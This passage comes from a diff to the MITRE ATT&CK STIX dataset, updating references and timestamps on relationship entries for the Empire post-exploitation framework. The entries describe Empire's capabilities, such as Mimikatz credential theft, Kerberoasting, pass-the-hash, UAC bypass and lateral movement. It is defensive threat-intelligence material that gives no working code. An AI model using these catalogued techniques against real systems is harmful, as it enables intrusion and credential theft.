"https://github.com/EmpireProject/Empire", "description": "Schroeder, W., Warner, J., Nelson, M. (n.d.). Github PowerShellEmpire. Retrieved April 28, 2016.", - "url": "https://github.com/PowerShellEmpire/Empire" + "source_name": "Github PowerShell Empire" } ], "description": "[Empire](https://attack.mitre.org/software/S0363) has the ability to gather browser data such as bookmarks and visited sites.(Citation: Github PowerShell Empire)", "relationship_type": "uses", "id": "relationship--88427fdf-9d70-49d2-a7ca-4c79ee387d3d", "type": "relationship", - "modified": "2019-06-24T17:15:44.024Z", + "modified": "2021-04-09T14:46:58.860Z", "created": "2019-03-11T15:04:51.661Z" }, { @@ -128816,16 +130197,16 @@ "target_ref": "attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4", "external_references": [ { - "source_name": "Github PowerShell Empire", + "url": "https://github.com/EmpireProject/Empire", "description": "Schroeder, W., Warner, J., Nelson, M. (n.d.). Github PowerShellEmpire. Retrieved April 28, 2016.", - "url": "https://github.com/PowerShellEmpire/Empire" + "source_name": "Github PowerShell Empire" } ], "description": "[Empire](https://attack.mitre.org/software/S0363) includes keylogging capabilities for Windows, Linux, and macOS systems.(Citation: Github PowerShell Empire)", "relationship_type": "uses", "id": "relationship--14dcdf1b-6788-429d-a7d0-910e86a2e6d6", "type": "relationship", - "modified": "2020-03-16T20:06:42.649Z", + "modified": "2021-04-09T14:46:58.891Z", "created": "2019-03-11T15:04:51.687Z" }, { @@ -128837,16 +130218,16 @@ "target_ref": "attack-pattern--837f9164-50af-4ac0-8219-379d8a74cefc", "external_references": [ { - "source_name": "Github PowerShell Empire", + "url": "https://github.com/EmpireProject/Empire", "description": "Schroeder, W., Warner, J., Nelson, M. (n.d.). Github PowerShellEmpire. Retrieved April 28, 2016.", - "url": "https://github.com/PowerShellEmpire/Empire" + "source_name": "Github PowerShell Empire" } ], "description": "[Empire](https://attack.mitre.org/software/S0363) can use various modules to search for files containing passwords.(Citation: Github PowerShell Empire)", "relationship_type": "uses", "id": "relationship--3237c264-c70c-4fe4-9f53-a8709c3dd006", "type": "relationship", - "modified": "2019-06-24T17:15:44.076Z", + "modified": "2021-04-09T14:46:58.894Z", "created": "2019-03-11T15:04:51.689Z" }, { @@ -128858,16 +130239,16 @@ "target_ref": "attack-pattern--65f2d882-3f41-4d48-8a06-29af77ec9f90", "external_references": [ { - "source_name": "Github PowerShell Empire", + "url": "https://github.com/EmpireProject/Empire", "description": "Schroeder, W., Warner, J., Nelson, M. (n.d.). Github PowerShellEmpire. Retrieved April 28, 2016.", - "url": "https://github.com/PowerShellEmpire/Empire" + "source_name": "Github PowerShell Empire" } ], "description": "[Empire](https://attack.mitre.org/software/S0363) contains an implementation of [Mimikatz](https://attack.mitre.org/software/S0002) to gather credentials from memory.(Citation: Github PowerShell Empire)", "relationship_type": "uses", "id": "relationship--d5edf7fa-6d2b-4af8-a1d3-e0f9fe56eb00", "type": "relationship", - "modified": "2020-03-19T22:47:42.911Z", + "modified": "2021-04-09T14:46:59.127Z", "created": "2019-03-11T15:04:51.704Z" }, { @@ -128879,16 +130260,16 @@ "target_ref": "attack-pattern--6faf650d-bf31-4eb4-802d-1000cf38efaf", "external_references": [ { - "source_name": "Github PowerShell Empire", + "url": "https://github.com/EmpireProject/Empire", "description": "Schroeder, W., Warner, J., Nelson, M. (n.d.). Github PowerShellEmpire. Retrieved April 28, 2016.", - "url": "https://github.com/PowerShellEmpire/Empire" + "source_name": "Github PowerShell Empire" } ], "description": "[Empire](https://attack.mitre.org/software/S0363) can capture webcam data on Windows and macOS systems.(Citation: Github PowerShell Empire)", "relationship_type": "uses", "id": "relationship--03d08c76-d8ce-435a-bac1-9cb77cdbaa0c", "type": "relationship", - "modified": "2019-06-24T17:15:44.209Z", + "modified": "2021-04-09T14:46:59.124Z", "created": "2019-03-11T15:04:51.706Z" }, { @@ -128900,16 +130281,16 @@ "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62", "external_references": [ { - "source_name": "Github PowerShell Empire", + "url": "https://github.com/EmpireProject/Empire", "description": "Schroeder, W., Warner, J., Nelson, M. (n.d.). Github PowerShellEmpire. Retrieved April 28, 2016.", - "url": "https://github.com/PowerShellEmpire/Empire" + "source_name": "Github PowerShell Empire" } ], "description": "[Empire](https://attack.mitre.org/software/S0363) has modules for executing scripts.(Citation: Github PowerShell Empire)", "relationship_type": "uses", "id": "relationship--ac1cc421-b62d-462a-8d66-bc5de66defa0", "type": "relationship", - "modified": "2019-06-24T17:15:44.206Z", + "modified": "2021-04-09T14:46:59.376Z", "created": "2019-03-11T15:04:51.728Z" }, { @@ -128921,16 +130302,16 @@ "target_ref": "attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d", "external_references": [ { - "source_name": "Github PowerShell Empire", + "url": "https://github.com/EmpireProject/Empire", "description": "Schroeder, W., Warner, J., Nelson, M. (n.d.). Github PowerShellEmpire. Retrieved April 28, 2016.", - "url": "https://github.com/PowerShellEmpire/Empire" + "source_name": "Github PowerShell Empire" } ], "description": "[Empire](https://attack.mitre.org/software/S0363) contains multiple modules for injecting into processes, such as Invoke-PSInject.(Citation: Github PowerShell Empire)", "relationship_type": "uses", "id": "relationship--85dc96ac-ec8e-4e15-ba4b-807c1a7b46cc", "type": "relationship", - "modified": "2019-06-24T17:15:44.365Z", + "modified": "2021-04-09T14:46:59.255Z", "created": "2019-03-11T15:04:51.739Z" }, { @@ -128942,16 +130323,16 @@ "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", "external_references": [ { - "source_name": "Github PowerShell Empire", + "url": "https://github.com/EmpireProject/Empire", "description": "Schroeder, W., Warner, J., Nelson, M. (n.d.). Github PowerShellEmpire. Retrieved April 28, 2016.", - "url": "https://github.com/PowerShellEmpire/Empire" + "source_name": "Github PowerShell Empire" } ], "description": "[Empire](https://attack.mitre.org/software/S0363) includes various modules for finding files of interest on hosts and network shares.(Citation: Github PowerShell Empire)", "relationship_type": "uses", "id": "relationship--75cc19f5-00b4-43e2-8eae-f633693dbe56", "type": "relationship", - "modified": "2019-06-24T17:15:44.375Z", + "modified": "2021-04-09T14:46:59.381Z", "created": "2019-03-11T15:10:00.149Z" }, { @@ -128963,16 +130344,16 @@ "target_ref": "attack-pattern--30973a08-aed9-4edf-8604-9084ce1b5c4f", "external_references": [ { - "source_name": "Github PowerShell Empire", + "url": "https://github.com/EmpireProject/Empire", "description": "Schroeder, W., Warner, J., Nelson, M. (n.d.). Github PowerShellEmpire. Retrieved April 28, 2016.", - "url": "https://github.com/PowerShellEmpire/Empire" + "source_name": "Github PowerShell Empire" } ], "description": "[Empire](https://attack.mitre.org/software/S0363) can harvest clipboard data on both Windows and macOS systems.(Citation: Github PowerShell Empire)", "relationship_type": "uses", "id": "relationship--3ca37791-9dad-430f-aee9-0126d13ae932", "type": "relationship", - "modified": "2019-06-24T17:15:44.355Z", + "modified": "2021-04-09T14:46:59.351Z", "created": "2019-03-11T15:10:00.176Z" }, { @@ -128984,16 +130365,16 @@ "target_ref": "attack-pattern--768dce68-8d0d-477a-b01d-0eea98b963a1", "external_references": [ { - "source_name": "Github PowerShell Empire", + "url": "https://github.com/EmpireProject/Empire", "description": "Schroeder, W., Warner, J., Nelson, M. (n.d.). Github PowerShellEmpire. Retrieved April 28, 2016.", - "url": "https://github.com/PowerShellEmpire/Empire" + "source_name": "Github PowerShell Empire" } ], "description": "[Empire](https://attack.mitre.org/software/S0363) can leverage its implementation of [Mimikatz](https://attack.mitre.org/software/S0002) to obtain and use golden tickets.(Citation: Github PowerShell Empire)", "relationship_type": "uses", "id": "relationship--7367c930-0727-4550-b421-2768edef03cd", "type": "relationship", - "modified": "2020-03-25T21:44:28.667Z", + "modified": "2021-04-09T14:46:59.359Z", "created": "2019-03-11T16:44:33.803Z" }, { @@ -129005,16 +130386,16 @@ "target_ref": "attack-pattern--60b508a1-6a5e-46b1-821a-9f7b78752abf", "external_references": [ { - "source_name": "Github PowerShell Empire", + "url": "https://github.com/EmpireProject/Empire", "description": "Schroeder, W., Warner, J., Nelson, M. (n.d.). Github PowerShellEmpire. Retrieved April 28, 2016.", - "url": "https://github.com/PowerShellEmpire/Empire" + "source_name": "Github PowerShell Empire" } ], "description": "[Empire](https://attack.mitre.org/software/S0363) can use modules like Invoke-SessionGopher to extract private key and session information.(Citation: Github PowerShell Empire)", "relationship_type": "uses", "id": "relationship--9741bd7b-a3f2-4052-b2e0-f0fcf331ceae", "type": "relationship", - "modified": "2019-06-24T17:15:44.535Z", + "modified": "2021-04-09T14:46:59.252Z", "created": "2019-03-11T16:44:33.821Z" }, { @@ -129026,16 +130407,16 @@ "target_ref": "attack-pattern--f2877f7f-9a4c-4251-879f-1224e3006bee", "external_references": [ { - "source_name": "Github PowerShell Empire", + "url": "https://github.com/EmpireProject/Empire", "description": "Schroeder, W., Warner, J., Nelson, M. (n.d.). Github PowerShellEmpire. Retrieved April 28, 2016.", - "url": "https://github.com/PowerShellEmpire/Empire" + "source_name": "Github PowerShell Empire" } ], "description": "[Empire](https://attack.mitre.org/software/S0363) uses [PowerSploit](https://attack.mitre.org/software/S0194)'s Invoke-Kerberoast to request service tickets and return crackable ticket hashes.(Citation: Github PowerShell Empire)", "relationship_type": "uses", "id": "relationship--5f1cf52c-f565-4325-9d4f-4a961c642a0f", "type": "relationship", - "modified": "2019-06-24T17:15:44.516Z", + "modified": "2021-04-09T14:46:59.512Z", "created": "2019-03-11T16:44:33.838Z" }, { @@ -129047,16 +130428,16 @@ "target_ref": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688", "external_references": [ { - "source_name": "Github PowerShell Empire", + "url": "https://github.com/EmpireProject/Empire", "description": "Schroeder, W., Warner, J., Nelson, M. (n.d.). Github PowerShellEmpire. Retrieved April 28, 2016.", - "url": "https://github.com/PowerShellEmpire/Empire" + "source_name": "Github PowerShell Empire" } ], "description": "[Empire](https://attack.mitre.org/software/S0363) is capable of capturing screenshots on Windows and macOS systems.(Citation: Github PowerShell Empire)", "relationship_type": "uses", "id": "relationship--21c130df-4123-4f57-9ea2-9ceac05af597", "type": "relationship", - "modified": "2019-06-24T17:15:44.556Z", + "modified": "2021-04-09T14:46:59.246Z", "created": "2019-03-11T16:44:33.848Z" }, { @@ -129068,16 +130449,16 @@ "target_ref": "attack-pattern--3257eb21-f9a7-4430-8de1-d8b6e288f529", "external_references": [ { - "source_name": "Github PowerShell Empire", + "url": "https://github.com/EmpireProject/Empire", "description": "Schroeder, W., Warner, J., Nelson, M. (n.d.). Github PowerShellEmpire. Retrieved April 28, 2016.", - "url": "https://github.com/PowerShellEmpire/Empire" + "source_name": "Github PowerShell Empire" } ], "description": "[Empire](https://attack.mitre.org/software/S0363) can be used to conduct packet captures on target hosts.(Citation: Github PowerShell Empire)", "relationship_type": "uses", "id": "relationship--9be360bb-8ac4-4357-8795-0736b447293c", "type": "relationship", - "modified": "2019-06-24T17:15:44.550Z", + "modified": "2021-04-09T14:46:59.374Z", "created": "2019-03-11T16:44:33.852Z" }, { @@ -129089,7 +130470,7 @@ "target_ref": "attack-pattern--650c784b-7504-4df7-ab2c-4ea882384d1e", "external_references": [ { - "url": "https://github.com/PowerShellEmpire/Empire", + "url": "https://github.com/EmpireProject/Empire", "description": "Schroeder, W., Warner, J., Nelson, M. (n.d.). Github PowerShellEmpire. Retrieved April 28, 2016.", "source_name": "Github PowerShell Empire" }, @@ -129103,7 +130484,7 @@ "relationship_type": "uses", "id": "relationship--0537c342-77af-4626-bbe3-9360798a30d5", "type": "relationship", - "modified": "2020-03-18T19:53:37.845Z", + "modified": "2021-04-09T14:46:59.568Z", "created": "2019-03-11T16:44:33.877Z" }, { @@ -129115,16 +130496,16 @@ "target_ref": "attack-pattern--f5946b5e-9408-485f-a7f7-b5efc88909b6", "external_references": [ { - "source_name": "Github PowerShell Empire", + "url": "https://github.com/EmpireProject/Empire", "description": "Schroeder, W., Warner, J., Nelson, M. (n.d.). Github PowerShellEmpire. Retrieved April 28, 2016.", - "url": "https://github.com/PowerShellEmpire/Empire" + "source_name": "Github PowerShell Empire" } ], "description": "[Empire](https://attack.mitre.org/software/S0363) contains some modules that leverage API hooking to carry out tasks, such as netripper.(Citation: Github PowerShell Empire)", "relationship_type": "uses", "id": "relationship--7d349715-69e8-4e3c-bb98-8dc8d3051ca2", "type": "relationship", - "modified": "2019-06-24T17:15:44.518Z", + "modified": "2021-04-09T14:46:59.578Z", "created": "2019-03-11T16:44:33.881Z" }, { @@ -129136,16 +130517,16 @@ "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830", "external_references": [ { - "source_name": "Github PowerShell Empire", + "url": "https://github.com/EmpireProject/Empire", "description": "Schroeder, W., Warner, J., Nelson, M. (n.d.). Github PowerShellEmpire. Retrieved April 28, 2016.", - "url": "https://github.com/PowerShellEmpire/Empire" + "source_name": "Github PowerShell Empire" } ], "description": "[Empire](https://attack.mitre.org/software/S0363) uses a command-line interface to interact with systems.(Citation: Github PowerShell Empire)", "relationship_type": "uses", "id": "relationship--ee448e12-4b71-4c0c-bcca-daff26072d41", "type": "relationship", - "modified": "2019-06-24T17:15:44.533Z", + "modified": "2021-04-09T14:46:59.519Z", "created": "2019-03-11T17:18:27.567Z" }, { @@ -129157,21 +130538,21 @@ "target_ref": "attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736", "external_references": [ { - "source_name": "Github PowerShell Empire", + "url": "https://github.com/EmpireProject/Empire", "description": "Schroeder, W., Warner, J., Nelson, M. (n.d.). Github PowerShellEmpire. Retrieved April 28, 2016.", - "url": "https://github.com/PowerShellEmpire/Empire" + "source_name": "Github PowerShell Empire" }, { - "source_name": "NCSC Joint Report Public Tools", - "url": "https://s3.eu-west-1.amazonaws.com/ncsc-content/files/Joint%20report%20on%20publicly%20available%20hacking%20tools%20%28NCSC%29.pdf", - "description": "The Australian Cyber Security Centre (ACSC), the Canadian Centre for Cyber Security (CCCS), the New Zealand National Cyber Security Centre (NZ NCSC), CERT New Zealand, the UK National Cyber Security Centre (UK NCSC) and the US National Cybersecurity and Communications Integration Center (NCCIC). (2018, October 11). Joint report on publicly available hacking tools. Retrieved March 11, 2019." + "description": "The Australian Cyber Security Centre (ACSC), the Canadian Centre for Cyber Security (CCCS), the New Zealand National Cyber Security Centre (NZ NCSC), CERT New Zealand, the UK National Cyber Security Centre (UK NCSC) and the US National Cybersecurity and Communications Integration Center (NCCIC). (2018, October 11). Joint report on publicly available hacking tools. Retrieved March 11, 2019.", + "url": "https://www.ncsc.gov.uk/report/joint-report-on-publicly-available-hacking-tools", + "source_name": "NCSC Joint Report Public Tools" } ], "description": "[Empire](https://attack.mitre.org/software/S0363) leverages PowerShell for the majority of its client-side agent tasks. [Empire](https://attack.mitre.org/software/S0363) also contains the ability to conduct PowerShell remoting with the Invoke-PSRemoting module.(Citation: Github PowerShell Empire)(Citation: NCSC Joint Report Public Tools)", "relationship_type": "uses", "id": "relationship--095d2af9-dca4-4a7a-b22e-e37923e7c43c", "type": "relationship", - "modified": "2019-06-24T17:15:44.505Z", + "modified": "2021-04-09T14:46:59.590Z", "created": "2019-03-11T17:18:27.587Z" }, { @@ -129183,16 +130564,16 @@ "target_ref": "attack-pattern--f1951e8a-500e-4a26-8803-76d95c4554b4", "external_references": [ { - "source_name": "Github PowerShell Empire", + "url": "https://github.com/EmpireProject/Empire", "description": "Schroeder, W., Warner, J., Nelson, M. (n.d.). Github PowerShellEmpire. Retrieved April 28, 2016.", - "url": "https://github.com/PowerShellEmpire/Empire" + "source_name": "Github PowerShell Empire" } ], "description": "[Empire](https://attack.mitre.org/software/S0363) can use [PsExec](https://attack.mitre.org/software/S0029) to execute a payload on a remote host.(Citation: Github PowerShell Empire)", "relationship_type": "uses", "id": "relationship--7447ce8c-6c1a-497e-86d5-1adf960e23a3", "type": "relationship", - "modified": "2019-06-24T17:15:44.527Z", + "modified": "2021-04-09T14:46:59.516Z", "created": "2019-03-11T17:18:27.589Z" }, { @@ -129204,16 +130585,16 @@ "target_ref": "attack-pattern--68a0c5ed-bee2-4513-830d-5b0d650139bd", "external_references": [ { - "source_name": "Github PowerShell Empire", + "url": "https://github.com/EmpireProject/Empire", "description": "Schroeder, W., Warner, J., Nelson, M. (n.d.). Github PowerShellEmpire. Retrieved April 28, 2016.", - "url": "https://github.com/PowerShellEmpire/Empire" + "source_name": "Github PowerShell Empire" } ], "description": "[Empire](https://attack.mitre.org/software/S0363) can utilize Invoke-DCOM to leverage remote COM execution for lateral movement.(Citation: Github PowerShell Empire)", "relationship_type": "uses", "id": "relationship--04878c23-0ba8-4893-acd7-f0594241b66f", "type": "relationship", - "modified": "2020-03-20T15:49:36.458Z", + "modified": "2021-04-09T14:46:59.602Z", "created": "2019-03-11T17:18:27.655Z" }, { @@ -129225,16 +130606,16 @@ "target_ref": "attack-pattern--9db0cf3a-a3c9-4012-8268-123b9db6fd82", "external_references": [ { - "source_name": "Github PowerShell Empire", + "url": "https://github.com/EmpireProject/Empire", "description": "Schroeder, W., Warner, J., Nelson, M. (n.d.). Github PowerShellEmpire. Retrieved April 28, 2016.", - "url": "https://github.com/PowerShellEmpire/Empire" + "source_name": "Github PowerShell Empire" } ], "description": "[Empire](https://attack.mitre.org/software/S0363) has a limited number of built-in modules for exploiting remote SMB, JBoss, and Jenkins servers.(Citation: Github PowerShell Empire)", "relationship_type": "uses", "id": "relationship--73fbf268-20d3-4549-9dd2-6e20e18079e0", "type": "relationship", - "modified": "2019-06-24T17:15:44.896Z", + "modified": "2021-04-09T14:46:59.362Z", "created": "2019-03-11T17:18:27.661Z" }, { @@ -129246,16 +130627,16 @@ "target_ref": "attack-pattern--677569f9-a8b0-459e-ab24-7f18091fa7bf", "external_references": [ { - "source_name": "Github PowerShell Empire", + "url": "https://github.com/EmpireProject/Empire", "description": "Schroeder, W., Warner, J., Nelson, M. (n.d.). Github PowerShellEmpire. Retrieved April 28, 2016.", - "url": "https://github.com/PowerShellEmpire/Empire" + "source_name": "Github PowerShell Empire" } ], "description": "[Empire](https://attack.mitre.org/software/S0363) can use Invoke-RunAs to make tokens.(Citation: Github PowerShell Empire)", "relationship_type": "uses", "id": "relationship--e5539e56-e35f-4097-9862-ba26cac35346", "type": "relationship", - "modified": "2020-03-16T16:57:27.460Z", + "modified": "2021-04-09T14:46:59.564Z", "created": "2019-03-11T17:18:27.709Z" }, { @@ -129267,16 +130648,16 @@ "target_ref": "attack-pattern--e624264c-033a-424d-9fd7-fc9c3bbdb03e", "external_references": [ { - "source_name": "Github PowerShell Empire", + "url": "https://github.com/EmpireProject/Empire", "description": "Schroeder, W., Warner, J., Nelson, M. (n.d.). Github PowerShellEmpire. Retrieved April 28, 2016.", - "url": "https://github.com/PowerShellEmpire/Empire" + "source_name": "Github PowerShell Empire" } ], "description": "[Empire](https://attack.mitre.org/software/S0363) can perform pass the hash attacks.(Citation: Github PowerShell Empire)", "relationship_type": "uses", "id": "relationship--872c6f1b-aa4f-4d43-b35d-c4216d2f4559", "type": "relationship", - "modified": "2019-06-24T17:15:44.827Z", + "modified": "2021-04-09T14:46:59.523Z", "created": "2019-03-11T17:18:27.756Z" }, { @@ -129288,16 +130669,16 @@ "target_ref": "attack-pattern--2db31dcd-54da-405d-acef-b9129b816ed6", "external_references": [ { - "source_name": "Github PowerShell Empire", + "url": "https://github.com/EmpireProject/Empire", "description": "Schroeder, W., Warner, J., Nelson, M. (n.d.). Github PowerShellEmpire. Retrieved April 28, 2016.", - "url": "https://github.com/PowerShellEmpire/Empire" + "source_name": "Github PowerShell Empire" } ], "description": "[Empire](https://attack.mitre.org/software/S0363) contains modules for executing commands over SSH as well as in-memory VNC agent injection.(Citation: Github PowerShell Empire)", "relationship_type": "uses", "id": "relationship--5daee125-eb83-4529-889e-18de7115f688", "type": "relationship", - "modified": "2020-03-17T16:59:53.898Z", + "modified": "2021-04-09T14:46:59.563Z", "created": "2019-03-11T17:56:44.970Z" }, { @@ -129309,16 +130690,16 @@ "target_ref": "attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9", "external_references": [ { - "source_name": "Github PowerShell Empire", + "url": "https://github.com/EmpireProject/Empire", "description": "Schroeder, W., Warner, J., Nelson, M. (n.d.). Github PowerShellEmpire. Retrieved April 28, 2016.", - "url": "https://github.com/PowerShellEmpire/Empire" + "source_name": "Github PowerShell Empire" } ], "description": "[Empire](https://attack.mitre.org/software/S0363) has modules to interact with the Windows task scheduler.(Citation: Github PowerShell Empire)", "relationship_type": "uses", "id": "relationship--c761f444-3c01-44b4-b8e7-8a26746ce115", "type": "relationship", - "modified": "2020-03-16T15:41:13.623Z", + "modified": "2021-04-09T14:46:59.544Z", "created": "2019-03-11T17:56:45.018Z" }, { @@ -129330,16 +130711,16 @@ "target_ref": "attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055", "external_references": [ { - "source_name": "Github PowerShell Empire", + "url": "https://github.com/EmpireProject/Empire", "description": "Schroeder, W., Warner, J., Nelson, M. (n.d.). Github PowerShellEmpire. Retrieved April 28, 2016.", - "url": "https://github.com/PowerShellEmpire/Empire" + "source_name": "Github PowerShell Empire" } ], "description": "[Empire](https://attack.mitre.org/software/S0363) can use WMI to deliver a payload to a remote host.(Citation: Github PowerShell Empire) ", "relationship_type": "uses", "id": "relationship--8561e826-0aa8-4711-ab0b-fffb0b03ff13", "type": "relationship", - "modified": "2019-06-24T17:15:44.878Z", + "modified": "2021-04-09T14:46:59.383Z", "created": "2019-03-11T17:56:45.040Z" }, { @@ -129351,16 +130732,16 @@ "target_ref": "attack-pattern--70e52b04-2a0c-4cea-9d18-7149f1df9dc5", "external_references": [ { - "source_name": "Github PowerShell Empire", + "url": "https://github.com/EmpireProject/Empire", "description": "Schroeder, W., Warner, J., Nelson, M. (n.d.). Github PowerShellEmpire. Retrieved April 28, 2016.", - "url": "https://github.com/PowerShellEmpire/Empire" + "source_name": "Github PowerShell Empire" } ], "description": "[Empire](https://attack.mitre.org/software/S0363) can leverage WMI debugging to remotely replace binaries like sethc.exe, Utilman.exe, and Magnify.exe with cmd.exe.(Citation: Github PowerShell Empire)", "relationship_type": "uses", "id": "relationship--47899da0-29da-4518-b94a-0f08bc01e5c9", "type": "relationship", - "modified": "2019-06-24T17:15:44.903Z", + "modified": "2021-04-09T14:46:59.599Z", "created": "2019-03-11T17:56:45.046Z" }, { @@ -129372,16 +130753,16 @@ "target_ref": "attack-pattern--e3a12395-188d-4051-9a16-ea8e14d07b88", "external_references": [ { - "source_name": "Github PowerShell Empire", + "url": "https://github.com/EmpireProject/Empire", "description": "Schroeder, W., Warner, J., Nelson, M. (n.d.). Github PowerShellEmpire. Retrieved April 28, 2016.", - "url": "https://github.com/PowerShellEmpire/Empire" + "source_name": "Github PowerShell Empire" } ], "description": "[Empire](https://attack.mitre.org/software/S0363) can perform port scans from an infected host.(Citation: Github PowerShell Empire)", "relationship_type": "uses", "id": "relationship--2589342a-8f88-4458-bc34-cec6b073763e", "type": "relationship", - "modified": "2019-06-24T17:15:44.873Z", + "modified": "2021-04-09T14:46:59.574Z", "created": "2019-03-11T19:24:08.047Z" }, { @@ -129393,16 +130774,16 @@ "target_ref": "attack-pattern--2fee9321-3e71-4cf4-af24-d4d40d355b34", "external_references": [ { - "source_name": "Github PowerShell Empire", + "url": "https://github.com/EmpireProject/Empire", "description": "Schroeder, W., Warner, J., Nelson, M. (n.d.). Github PowerShellEmpire. Retrieved April 28, 2016.", - "url": "https://github.com/PowerShellEmpire/Empire" + "source_name": "Github PowerShell Empire" } ], "description": "[Empire](https://attack.mitre.org/software/S0363) contains modules that can discover and exploit various DLL hijacking opportunities.(Citation: Github PowerShell Empire)", "relationship_type": "uses", "id": "relationship--f2b3374e-d2b4-489a-9c8a-92630ce9b428", "type": "relationship", - "modified": "2019-06-24T17:15:44.888Z", + "modified": "2021-04-09T14:46:59.595Z", "created": "2019-03-11T19:24:08.066Z" }, { @@ -129414,16 +130795,16 @@ "target_ref": "attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32", "external_references": [ { - "source_name": "Github PowerShell Empire", + "url": "https://github.com/EmpireProject/Empire", "description": "Schroeder, W., Warner, J., Nelson, M. (n.d.). Github PowerShellEmpire. Retrieved April 28, 2016.", - "url": "https://github.com/PowerShellEmpire/Empire" + "source_name": "Github PowerShell Empire" } ], "description": "[Empire](https://attack.mitre.org/software/S0363) can utilize built-in modules to modify service binaries and restore them to their original state.(Citation: Github PowerShell Empire)", "relationship_type": "uses", "id": "relationship--eabdbef7-440f-42ca-99b1-a4d08a1c955e", "type": "relationship", - "modified": "2019-06-24T17:15:44.833Z", + "modified": "2021-04-09T14:46:59.585Z", "created": "2019-03-11T19:24:08.088Z" }, { @@ -129435,16 +130816,16 @@ "target_ref": "attack-pattern--b21c3b2d-02e6-45b1-980b-e69051040839", "external_references": [ { - "source_name": "Github PowerShell Empire", + "url": "https://github.com/EmpireProject/Empire", "description": "Schroeder, W., Warner, J., Nelson, M. (n.d.). Github PowerShellEmpire. Retrieved April 28, 2016.", - "url": "https://github.com/PowerShellEmpire/Empire" + "source_name": "Github PowerShell Empire" } ], "description": "[Empire](https://attack.mitre.org/software/S0363) can exploit vulnerabilities such as MS16-032 and MS16-135.(Citation: Github PowerShell Empire)", "relationship_type": "uses", "id": "relationship--4507ba2b-e23c-4acf-a6a3-5ed9dae8d590", "type": "relationship", - "modified": "2019-06-24T17:15:44.885Z", + "modified": "2021-04-09T14:46:59.525Z", "created": "2019-03-11T19:24:08.092Z" }, { @@ -129456,16 +130837,16 @@ "target_ref": "attack-pattern--5095a853-299c-4876-abd7-ac0050fb5462", "external_references": [ { - "source_name": "Github PowerShell Empire", + "url": "https://github.com/EmpireProject/Empire", "description": "Schroeder, W., Warner, J., Nelson, M. (n.d.). Github PowerShellEmpire. Retrieved April 28, 2016.", - "url": "https://github.com/PowerShellEmpire/Empire" + "source_name": "Github PowerShell Empire" } ], "description": "[Empire](https://attack.mitre.org/software/S0363) can enumerate Security Support Providers (SSPs) as well as utilize [PowerSploit](https://attack.mitre.org/software/S0194)'s Install-SSP and Invoke-Mimikatz to install malicious SSPs and log authentication events.(Citation: Github PowerShell Empire)", "relationship_type": "uses", "id": "relationship--5b162339-4155-4757-8ec1-11834a613c8a", "type": "relationship", - "modified": "2019-06-24T17:15:44.909Z", + "modified": "2021-04-09T14:46:59.538Z", "created": "2019-03-11T19:24:08.117Z" }, { @@ -129477,16 +130858,16 @@ "target_ref": "attack-pattern--120d5519-3098-4e1c-9191-2aa61232f073", "external_references": [ { - "source_name": "Github PowerShell Empire", + "url": "https://github.com/EmpireProject/Empire", "description": "Schroeder, W., Warner, J., Nelson, M. (n.d.). Github PowerShellEmpire. Retrieved April 28, 2016.", - "url": "https://github.com/PowerShellEmpire/Empire" + "source_name": "Github PowerShell Empire" } ], "description": "[Empire](https://attack.mitre.org/software/S0363) includes various modules to attempt to bypass UAC for escalation of privileges.(Citation: Github PowerShell Empire)", "relationship_type": "uses", "id": "relationship--fb16dea3-7f32-4778-b6af-3126c4547d17", "type": "relationship", - "modified": "2019-06-24T17:15:44.840Z", + "modified": "2021-04-09T14:46:59.605Z", "created": "2019-03-11T19:24:08.120Z" }, { @@ -129498,16 +130879,16 @@ "target_ref": "attack-pattern--b7dc639b-24cd-482d-a7f1-8897eda21023", "external_references": [ { - "source_name": "Github PowerShell Empire", + "url": "https://github.com/EmpireProject/Empire", "description": "Schroeder, W., Warner, J., Nelson, M. (n.d.). Github PowerShellEmpire. Retrieved April 28, 2016.", - "url": "https://github.com/PowerShellEmpire/Empire" + "source_name": "Github PowerShell Empire" } ], "description": "[Empire](https://attack.mitre.org/software/S0363) can add a SID-History to a user if on a domain controller.(Citation: Github PowerShell Empire)", "relationship_type": "uses", "id": "relationship--62785ee1-44c5-4938-a479-3f1546531032", "type": "relationship", - "modified": "2019-06-24T17:15:44.900Z", + "modified": "2021-04-09T14:46:59.529Z", "created": "2019-03-11T19:24:08.125Z" }, { @@ -129519,16 +130900,16 @@ "target_ref": "attack-pattern--4ab929c6-ee2d-4fb5-aab4-b14be2ed7179", "external_references": [ { - "source_name": "Github PowerShell Empire", + "url": "https://github.com/EmpireProject/Empire", "description": "Schroeder, W., Warner, J., Nelson, M. (n.d.). Github PowerShellEmpire. Retrieved April 28, 2016.", - "url": "https://github.com/PowerShellEmpire/Empire" + "source_name": "Github PowerShell Empire" } ], "description": "[Empire](https://attack.mitre.org/software/S0363) can persist by modifying a .LNK file to include a backdoor.(Citation: Github PowerShell Empire)", "relationship_type": "uses", "id": "relationship--f26c53f1-b346-4301-9951-22ffd96ee762", "type": "relationship", - "modified": "2019-06-24T17:15:44.813Z", + "modified": "2021-04-09T14:46:59.520Z", "created": "2019-03-11T19:24:08.123Z" }, { @@ -129540,16 +130921,16 @@ "target_ref": "attack-pattern--635cbe30-392d-4e27-978e-66774357c762", "external_references": [ { - "source_name": "Github PowerShell Empire", + "url": "https://github.com/EmpireProject/Empire", "description": "Schroeder, W., Warner, J., Nelson, M. (n.d.). Github PowerShellEmpire. Retrieved April 28, 2016.", - "url": "https://github.com/PowerShellEmpire/Empire" + "source_name": "Github PowerShell Empire" } ], "description": "[Empire](https://attack.mitre.org/software/S0363) has a module for creating a local user if permissions allow.(Citation: Github PowerShell Empire)", "relationship_type": "uses", "id": "relationship--187c8a97-3ba1-476e-8377-592adb8e70a3", "type": "relationship", - "modified": "2020-02-11T16:22:48.330Z", + "modified": "2021-04-09T14:46:59.379Z", "created": "2019-03-11T19:24:08.152Z" }, { @@ -129561,16 +130942,16 @@ "target_ref": "attack-pattern--53ac20cd-aca3-406e-9aa0-9fc7fdc60a5a", "external_references": [ { - "source_name": "Github PowerShell Empire", + "url": 